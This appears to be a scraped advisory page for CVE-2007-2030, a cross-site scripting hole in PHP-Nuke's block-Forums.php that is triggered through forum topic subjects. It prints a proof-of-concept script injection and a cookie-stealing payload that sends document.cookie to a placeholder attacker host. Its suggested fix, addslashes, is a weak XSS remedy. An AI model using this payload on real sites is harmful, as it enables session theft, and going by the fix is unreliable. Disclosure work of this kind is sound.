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PHP-Nuke block-Forums.php subject vulnerabilities

CVE Category Price Severity
CVE-2007-2030 CWE-Other $200-$500 High
Author Risk Exploitation Type Date
Unknown High Remote 2008-03-11
CVSS EPSS EPSSP
Not available 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2008030011

Below is a copy:

The block-Forums.php file have a vuln if an attacker

insert a malformatted subject to a topic of Splatt

Forum. A type of subject is:

"><script>alert('bug'");</script>

The 'alt' tag is closed by "> and the other text is

normal html. This bug is very bad if a subject is:

"><script>window.open('www.attacker.com/prova.php?cookie='+documen
t.cookie);</script>

And prova.php register cokkies in a file.

The solution:

Add under "$title2 = stripslashes($title2);" line, this

line:

"$title2 = addslashes($title2);"

And now, backward any " there is a backslash!



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